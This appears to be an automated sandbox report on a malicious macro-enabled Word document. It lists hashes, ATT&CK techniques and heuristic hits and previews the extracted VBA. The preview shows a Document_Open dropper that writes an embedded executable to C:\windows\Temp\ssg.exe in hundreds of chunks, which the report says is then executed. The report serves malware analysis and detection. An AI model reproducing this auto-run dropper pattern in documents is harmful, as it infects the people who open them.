Office (OOXML) malware analysis — malicious · dab5a48b4ff644c0

MALICIOUS

Office (OOXML)

1.51 MB Created: 2018-07-30 17:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-15

MD5: f9653a1755378c233d98b837330ef24a SHA-1: 74a344a7743a71a34b21c45cc2450c5b88c34bd6 SHA-256: dab5a48b4ff644c09f52942a3f34302d52baf24c35370859cfbcc0923819926a

170 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro. The Document_Open macro is designed to write a second-stage executable payload to 'C:\windows\Temp\ssg.exe' and then execute it. This is further supported by the critical heuristic firing for WScript.Shell usage, indicating the execution of external commands or scripts.

Heuristics 6

VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set o1 = CreateObject("Wscript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set fso = CreateObject("Scripting.FileSystemObject")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Sub Document_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1862255 bytes
SHA-256: `754d49ac4dc93db6f86c3e4688a32484a95beae0b7e256fddcaed4862610f3cb`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMillisseconds As Long) Dim ai() As Byte Const sFile As String = "C:\windows\Temp\ssg.exe" Dim nFileNum As Integer Sub Document_Open() Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") Dim file As Object If fso.FileExists(sFile) = True Then fso.DeleteFile (sFile) End If nFileNum = FreeFile Open sFile For Binary Lock Read Write As #nFileNum zCHUNK0 zCHUNK300 zCHUNK600 zCHUNK900 zCHUNK1200 zCHUNK1500 zCHUNK1800 zCHUNK2100 zCHUNK2400 zCHUNK2700 zCHUNK3000 zCHUNK3300 zCHUNK3600 zCHUNK3900 zCHUNK4200 zCHUNK4500 zCHUNK4800 zCHUNK5100 zCHUNK5400 zCHUNK5700 zCHUNK6000 zCHUNK6300 zCHUNK6600 zCHUNK6900 zCHUNK7200 zCHUNK7500 zCHUNK7800 zCHUNK8100 zCHUNK8400 zCHUNK8700 zCHUNK9000 zCHUNK9300 zCHUNK9600 zCHUNK9900 zCHUNK10200 zCHUNK10500 zCHUNK10800 zCHUNK11100 zCHUNK11400 zCHUNK11700 zCHUNK12000 zCHUNK12300 zCHUNK12600 zCHUNK12900 zCHUNK13200 zCHUNK13500 zCHUNK13800 zCHUNK14100 zCHUNK14400 zCHUNK14700 zCHUNK15000 zCHUNK15300 zCHUNK15600 zCHUNK15900 zCHUNK16200 zCHUNK16500 zCHUNK16800 zCHUNK17100 zCHUNK17400 zCHUNK17700 zCHUNK18000 zCHUNK18300 zCHUNK18600 zCHUNK18900 zCHUNK19200 zCHUNK19500 zCHUNK19800 zCHUNK20100 zCHUNK20400 zCHUNK20700 zCHUNK21000 zCHUNK21300 zCHUNK21600 zCHUNK21900 zCHUNK22200 zCHUNK22500 zCHUNK22800 zCHUNK23100 zCHUNK23400 zCHUNK23700 zCHUNK24000 zCHUNK24300 zCHUNK24600 zCHUNK24900 zCHUNK25200 zCHUNK25500 zCHUNK25800 zCHUNK26100 zCHUNK26400 zCHUNK26700 zCHUNK27000 zCHUNK27300 zCHUNK27600 zCHUNK27900 zCHUNK28200 zCHUNK28500 zCHUNK28800 zCHUNK29100 zCHUNK29400 zCHUNK29700 zCHUNK30000 zCHUNK30300 zCHUNK30600 zCHUNK30900 zCHUNK31200 zCHUNK31500 zCHUNK31800 zCHUNK32100 zCHUNK32400 zCHUNK32700 zCHUNK33000 zCHUNK33300 zCHUNK33600 zCHUNK33900 zCHUNK34200 zCHUNK34500 zCHUNK34800 zCHUNK35100 zCHUNK35400 zCHUNK35700 zCHUNK36000 zCHUNK36300 zCHUNK36600 zCHUNK36900 zCHUNK37200 zCHUNK37500 zCHUNK37800 zCHUNK38100 zCHUNK38400 zCHUNK38700 zCHUNK39000 zCHUNK39300 zCHUNK39600 zCHUNK39900 zCHUNK40200 zCHUNK40500 zCHUNK40800 zCHUNK41100 zCHUNK41400 zCHUNK41700 zCHUNK42000 zCHUNK42300 zCHUNK42600 zCHUNK42900 zCHUNK43200 zCHUNK43500 zCHUNK43800 zCHUNK44100 zCHUNK44400 zCHUNK44700 zCHUNK45000 zCHUNK45300 zCHUNK45600 zCHUNK45900 zCHUNK46200 zCHUNK46500 zCHUNK46800 zCHUNK47100 zCHUNK47400 zCHUNK47700 zCHUNK48000 zCHUNK48300 zCHUNK48600 zCHUNK48900 zCHUNK49200 zCHUNK49500 zCHUNK49800 zCHUNK50100 zCHUNK50400 zCHUNK50700 zCHUNK51000 zCHUNK51300 zCHUNK51600 zCHUNK51900 zCHUNK52200 zCHUNK52500 zCHUNK52800 zCHUNK53100 zCHUNK53400 zCHUNK53700 zCHUNK54000 zCHUNK54300 zCHUNK54600 zCHUNK54900 zCHUNK55200 zCHUNK55500 zCHUNK55800 zCHUNK56100 zCHUNK56400 zCHUNK56700 zCHUNK57000 zCHUNK57300 zCHUNK57600 zCHUNK57900 zCHUNK58200 zCHUNK58500 zCHUNK58800 zCHUNK59100 zCHUNK59400 zCHUNK59700 zCHUNK60000 zCHUNK60300 zCHUNK60600 zCHUNK60900 zCHUNK61200 zCHUNK61500 zCHUNK61800 zCHUNK62100 zCHUNK62400 zCHUNK62700 zCHUNK63000 zCHUNK63300 zCHUNK63600 zCHUNK63900 zCHUNK64200 zCHUNK64500 zCHUNK64800 zCHUNK65100 zCHUNK65400 zCHUNK65700 zCHUNK66000 zCHUNK66300 zCHUNK66600 zCHUNK66900 zCHUNK67200 zCHUNK67500 zCHUNK67800 zCHUNK68100 zCHUNK68400 zCHUNK68700 zCHUNK69000 zCHUNK69300 zCHUNK69600 zCHUNK69900 zCHUNK70200 zCHUNK70500 zCHUNK70800 zCHUNK71100 zCHUNK71400 zCHUNK71700 zCHUNK72000 zCHUNK72300 zCHUNK72600 zCHUNK72900 zCHUNK73200 zCHUNK73500 zCHUNK73800 zCHUNK74100 zCHUNK74400 zCHUNK74700 zCHUNK75000 zCHUNK75300 zCHUNK75600 zCHUNK75900 zCHUNK76200 zCHUNK76500 zCHUNK76800 zCHUNK77100 zCHUNK77400 zCHUNK77700 zCHUNK78000 zCHUNK78300 zCHUNK78600 zCHUNK78900 zCHUNK79200 zCHUNK79500 zCHUNK79800 zCHUNK80100 zCHUNK80400 zCHUNK80700 zCHUNK81000 zCHUNK81300 zCHUNK81600 zCHUNK81900 zCHUNK82200 zCHUNK82500 zCHUNK82800 zCHUNK83100 zCHUNK83400 zCHUNK83700 zCHUNK84000 zCHUNK84300 zCHUNK84600 zCHUNK84900 zCHUNK85200 zCHUNK85500 zCHUNK85800 zCHUNK86100 zCHUNK86400 zCHUNK86700 zCHUNK87000 zCHUNK87300 zCHUNK87600 zCHUNK87900 zCHUNK88200 zCHUNK88500 zCHUNK88800 zCHUNK89100 zCHUNK89400 zCHUNK89700 zCHUNK90000 zCHUNK90300 zCHUNK90600 zCHUNK90900 zCHUNK91200 zCHUNK91500 zCHUNK91800 zCHUNK92100 zCHUNK92400 zCHUNK92700 zCHUNK93000 zCHUNK93300 zCHUNK93600 zCHUNK93900 zCHUNK94200 zCHUNK94500 zCHUNK94800 zCHUNK95100 zCHUNK95400 zCHUNK95700 zCHUNK96000 zCHUNK96300 zCHUNK96600 zCHUNK96900 zCHUNK97200 zCHUNK97500 zCHUNK97800 zCHUNK98100 zCHUNK98400 zCHUNK98700 zCHUNK99000 zCHUNK99300 zCHUNK99600 zCHUNK99900 zCHUNK100200 zCHUNK100500 zCHUNK100800 zCHUNK101100 zCHUNK101400 zCHUNK101700 zCHUNK102000 zCHUNK102300 zCHUNK102600 zCHUNK102900 zCHUNK103200 zCHUNK103500 zCHUNK103800 zCHUNK104100 zCHUNK104400 zCHUNK104700 zCHUNK105000 zCHUNK105300 zCHUNK105600 zCHUNK105900 zCHUNK106200 zCHUNK106500 zCHUNK106800 zCHUNK107100 zCHUNK107400 zCHUNK107700 zCHUNK108000 zCHUNK108300 zCHUNK108600 zCHUNK108900 zCHUNK109200 zCHUNK109500 zCHUNK109800 zCHUNK110100 zCHUNK110400 zCHUNK110700 zCHUNK111000 zCHUNK111300 zCHUNK111600 zCHUNK111900 zCHUNK112200 zCHUNK112500 zCHUNK112800 zCHUNK113100 zCHUNK113400 zCHUNK113700 zCHUNK114000 zCHUNK114300 zCHUNK114600 zCHUNK114900 zCHUNK115200 zCHUNK115500 zCHUNK115800 zCHUNK116100 zCHUNK116400 zCHUNK116700 zCHUNK117000 zCHUNK117300 zCHUNK117600 zCHUNK117900 zCHUNK118200 zCHUNK118500 zCHUNK118800 zCHUNK119100 zCHUNK119400 zCHUNK119700 zCHUNK120000 zCHUNK120300 zCHUNK120600 zCHUNK120900 zCHUNK121200 zCHUNK121500 zCHUNK121800 zCHUNK122100 zCHUNK122400 zCHUNK122700 zCHUNK123000 zCHUNK123300 zCHUNK123600 zCHUNK123900 zCHUNK124200 zCHUNK124500 zCHUNK124800 zCHUNK125100 zCHUNK125400 zCHUNK125700 zCHUNK126000 zCHUNK126300 zCHUNK126600 zCHUNK126900 zCHUNK127200 zCHUNK127500 zCHUNK127800 zCHUNK128100 zCHUNK128400 zCHUNK128700 zCHUNK129000 zCHUNK129300 zCHUNK129600 zCHUNK129900 zCHUNK130200 zCHUNK130500 zCHUNK130800 zCHUNK131100 zCHUNK131400 zCHUNK131700 zCHUNK132000 zCHUNK132300 zCHUNK132600 zCHUNK132900 zCHUNK133200 zCHUNK133500 zCHUNK133800 zCHUNK134100 zCHUNK134400 zCHUNK134700 zCHUNK135000 zCHUNK135300 zCHUNK135600 zCHUNK135900 zCHUNK136200 zCHUNK136500 zCHUNK136800 zCHUNK137100 zCHUNK137400 zCHUNK137700 zCHUNK138000 zCHUNK138300 zCHUNK138600 zCHUNK138900 zCHUNK139200 zCHUNK139500 zCHUNK139800 zCHUNK140100 zCHUNK140400 zCHUNK140700 zCHUNK141000 zCHUNK141300 zCHUNK141600 zCHUNK141900 zCHUNK142200 zCHUNK142500 zCHUNK142800 zCHUNK143100 zCHUNK143400 zCHUNK143700 zCHUNK144000 zCHUNK144300 zCHUNK144600 zCHUNK144900 zCHUNK145200 zCHUNK145500 zCHUNK145800 zCHUNK146100 zCHUNK146400 zCHUNK146700 zCHUNK147000 zCHUNK147300 zCHUNK147600 zCHUNK147900 zCHUNK148200 zCHUNK148500 zCHUNK148800 zCHUNK149100 zCHUNK149400 zCHUNK149700 zCHUNK150000 zCHUNK150300 zCHUNK150600 zCHUNK150900 zCHUNK151200 zCHUNK151500 zCHUNK151800 zCHUNK152100 zCHUNK152400 zCHUNK152700 zCHUNK153000 zCHUNK153300 zCHUNK153600 zCHUNK153900 zCHUNK154200 zCHUNK154500 zCHUNK154800 zCHUNK155100 zCHUNK155400 zCHUNK155700 zCHUNK156000 zCHUNK156300 zCHUNK156600 zCHUNK156900 zCHUNK157200 zCHUNK157500 zCHUNK157800 zCHUNK158100 zCHUNK158400 zCHUNK158700 zCHUNK159000 zCHUNK159300 zCHUNK159600 zCHUNK159900 zCHUNK160200 zCHUNK160500 zCHUNK160800 zCHUNK161100 zCHUNK161400 zCHUNK161700 zCHUNK162000 zCHUNK162300 zCHUNK162600 zCHUNK162900 zCHUNK163200 zCHUNK163500 zCHUNK163800 zCHUNK164100 zCHUNK164400 zCHUNK164700 zCHUNK165000 zCHUNK165300 zCHUNK165600 zCHUNK165900 zCHUNK166200 zCHUNK166500 zCHUNK166800 zCHUNK167100 zCHUNK167400 zCHUNK167700 zCHUNK168000 zCHUNK168300 zCHUNK168600 zCHUNK168900 zCHUNK169200 zCHUNK169500 zCHUNK169800 zCHUNK170100 zCHUNK170400 zCHUNK170700 zCHUNK171000 zCHUNK171300 zCHUNK171600 zCHUNK171900 zCHUNK172200 zCHUNK172500 zCHUNK172800 zCHUNK173100 zCHUNK173400 zCHUNK173700 zCHUNK174000 zCHUNK174300 zCHUNK174600 zCHUNK174900 zCHUNK175200 zCHUNK175500 zCHUNK175800 zCHUNK176100 zCHUNK176400 zCHUNK176700 zCHUNK177000 zCHUNK177300 zCHUNK177600 zCHUNK177900 zCHUNK178200 zCHUNK178500 zCHUNK178800 zCHUNK179100 zCHUNK179400 zCHUNK179700 zCHUNK180000 zCHUNK180300 zCHUNK180600 zCHUNK180900 zCHUNK181200 zCHUNK181500 zCHUNK181800 zCHUNK182100 zCHUNK182400 zCHUNK182700 zCHUNK183000 zCHUNK183300 zCHUNK183600 zCHUNK183900 zCHUNK184200 zCHUNK184500 zCHUNK184800 zCHUNK185100 zCHUNK185400 zCHUNK185700 zCHUNK186000 zCHUNK186300 zCHUNK186600 zCHUNK186900 zCHUNK187200 zCHUNK187500 zCHUNK187800 zCHUNK188100 zCHUNK188400 zCHUNK188700 zCHUNK189000 zCHUNK189300 zCHUNK189600 zCHUNK189900 zCHUNK190200 zCHUNK190500 zCHUNK190800 zCHUNK191100 zCHUNK191400 zCHUNK191700 zCHUNK192000 zCHUNK192300 zCHUNK192600 zCHUNK192900 zCHUNK193200 zCHUNK193500 zCHUNK193800 zCHUNK194100 zCHUNK194400 zCHUNK194700 zCHUNK195000 zCHUNK195300 zCHUNK195600 zCHUNK195900 zCHUNK196200 zCHUNK196500 zCHUNK196800 zCHUNK197100 zCHUNK197400 zCHUNK197700 zCHUNK198000 zCHUNK198300 zCHUNK198600 zCHUNK198900 zCHUNK199200 zCHUNK199500 zCHUNK199800 zCHUNK200100 zCHUNK200400 zCHUNK200700 zCHUNK201000 zCHUNK201300 zCHUNK201600 zCHUNK201900 zCHUNK202200 zCHUNK202500 zCHUNK202800 zCHUNK203100 zCHUNK203400 zCHUNK203700 zCHUNK204000 zCHUNK204300 zCHUNK204600 zCHUNK204900 zCHUNK205200 zCHUNK205500 zCHUNK205800 zCHUNK206100 zCHUNK206400 zCHUNK206700 zCHUNK207000 zCHUNK207300 zCHUNK207600 zCHUNK207900 zCHUNK208200 zCHUNK208500 zCHUNK208800 zCHUNK209100 zCHUNK209400 zCHUNK209700 zCHUNK210000 zCHUNK210300 zCHUNK210600 zCHUNK210900 zCHUNK211200 zCHUNK211500 zCHUNK211800 zCHUNK212100 zCHUNK212400 zCHUNK212700 zCHUNK213000 zCHUNK213300 zCHUNK213600 zCHUNK213900 zCHUNK214200 zCHUNK214500 zCHUNK214800 zCHUNK215100 zCHUNK215400 zCHUNK215700 zCHUNK216000 zCHUNK216300 zCHUNK216600 zCHUNK216900 zCHUNK217200 zCHUNK217500 zCHUNK217800 zCHUNK218100 zCHUNK218400 zCHUNK218700 zCHUNK219000 zCHUNK219300 zCHUNK219600 zCHUNK219900 zCHUNK220200 zCHUNK220500 zCHUNK220800 zCHUNK221100 zCHUNK221400 zCHUNK221700 zCHUNK222000 zCHUNK222300 zCHUNK222600 zCHUNK222900 zCHUNK223200 zCHUNK223500 zCHUNK223800 zCHUNK224100 zCHUNK224400 zCHUNK224700 zCHUNK225000 zCHUNK225300 zCHUNK225600 zCHUNK225900 zCHUNK226200 zCHUNK226500 zCHUNK226800 zCHUNK227100 zCHUNK227400 zCHUNK227700 zCHUNK228000 zCHUNK228300 zCHUNK228600 zCHUNK228900 zCHUNK229200 zCHUNK229500 zCHUNK229800 zCHUNK230100 zCHUNK230400 zCHUNK230700 zCHUNK231000 zCHUNK231300 zCHUNK231600 zCHUNK231900 zCHUNK232200 zCHUNK232500 zCHUNK232800 zCHUNK233100 zCHUNK233400 zCHUNK233700 zCHUNK234000 zCHUNK234300 zCHUNK234600 zCHUNK234900 zCHUNK235200 zCHUNK235500 zCHUNK235800 zCHUNK236100 zCHUNK236400 zCHUNK236700 zCHUNK237000 zCHUNK237300 zCHUNK237600 zCHUNK237900 zCHUNK238200 zCHUNK238500 zCHUNK238800 zCHUNK239100 zCHUNK239400 zCHUNK239700 zCHUNK240000 zCHUNK240300 zCHUNK240600 zCHUNK240900 zCHUNK241200 zCHUNK241500 zCHUNK241800 zCHUNK242100 zCHUNK242400 zCHUNK242700 zCHUNK243000 zCHUNK243300 zCHUNK243600 zCHUNK243900 zCHUNK244200 zCHUNK244500 zCHUNK244800 zCHUNK245100 zCHUNK245400 zCHUNK245700 zCHUNK246000 zCHUNK246300 zCHUNK246600 zCHUNK246900 zCHUNK247200 zCHUNK247500 zCHUNK247800 zCHUNK248100 zCHUNK248400 zCHUNK248700 zCHUNK249000 zCHUNK249300 zCHUNK249600 zCHUNK249900 zCHUNK250200 zCHUNK250500 zCHUNK250800 zCHUNK251100 zCHUNK251400 zCHUNK251700 zCHUNK252000 zCHUNK252300 zCHUNK252600 zCHUNK252900 zCHUNK253200 zCHUNK253500 zCHUNK253800 zCHUNK254100 zCHUNK254400 zCHUNK254700 zCHUNK255000 zCHUNK255300 zCHUNK255600 zCHUNK255900 zCHUNK256200 zCHUNK256500 zCHUNK256800 zCHUNK257100 zCHUNK257400 zCHUNK257700 zCHUNK258000 zCHUNK258300 zCHUNK258600 zCHUNK258900 zCHUNK259200 zCHUNK259500 zCHUNK259800 zCHUNK260100 zCHUNK260400 zCHUNK260700 zCHUNK261000 zCHUNK261300 zCHUNK261600 zCHUNK261900 zCHUNK262200 zCHUNK262500 zCHUNK262800 zCHUNK263100 zCHUNK263400 zCHUNK263700 zCHUNK264000 zCHUNK264300 zCHUNK264600 zCHUNK264900 zCHUNK265200 zCHUNK265500 zCHUNK265800 zCHUNK266100 zCHUNK266400 zCHUNK266700 zCHUNK267000 zCHUNK267300 zCHUNK267600 zCHUNK267900 zCHUNK268200 zCHUNK268500 zCHUNK268800 zCHUNK269100 zCHUNK269400 zCHUNK269700 zCHUNK270000 zCHUNK270300 zCHUNK270600 zCHUNK270900 zCHUNK271200 zCHUNK271500 zCHUNK271800 zCHUNK272100 zCHUNK272400 zCHUNK272700 zCHUNK273000 zCHUNK273300 zCHUNK273600 zCHUNK273900 zCHUNK274200 zCHUNK274500 zCHUNK274800 zCHUNK275100 zCHUNK275400 zCHUNK275700 zCHUNK276000 zCHUNK276300 zCHUNK276600 zCHUNK276900 zCHUNK277200 zCHUNK277500 zCHUNK277800 zCHUNK278100 zCHUNK278400 zCHUNK278700 zCHUNK279000 zCHUNK279300 zCHUNK279600 zCHUNK279900 zCHUNK280200 zCHUNK280500 zCHUNK280800 zCHUNK281100 zCHUNK281400 zCHUNK281700 zCHUNK282000 zCHUNK282300 zCHUNK282600 zCHUNK282900 zCHUNK283200 zCHUNK283500 zCHUNK283800 zCHUNK284100 zCHUNK284400 zCHUNK284700 zCHUNK285000 zCHUNK285300 zCHUNK285600 zCHUNK285900 zCHUNK286200 zCHUNK286500 zCHUNK286800 zCHUNK287100 zCHUNK287400 zCHUNK287700 zCHUNK288000 zCHUNK288300 zCHUNK288600 zCHUNK288900 zCHUNK289200 zCHUNK289500 zCHUNK289800 zCHUNK290100 zCHUNK290400 zCHUNK290700 zCHUNK291000 zCHUNK291300 zCHUNK291600 zCHUNK291900 …
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	3497984 bytes
SHA-256: `148e5299e7d9bc365203b04ee45ad62a75c6bd4806e08d2fb30afbe531369e38`

Open this report in the interactive analyzer, or submit your own file for analysis.

Office (OOXML)

Malware Insights

Heuristics 6

Related samples 1

Extracted artifacts 2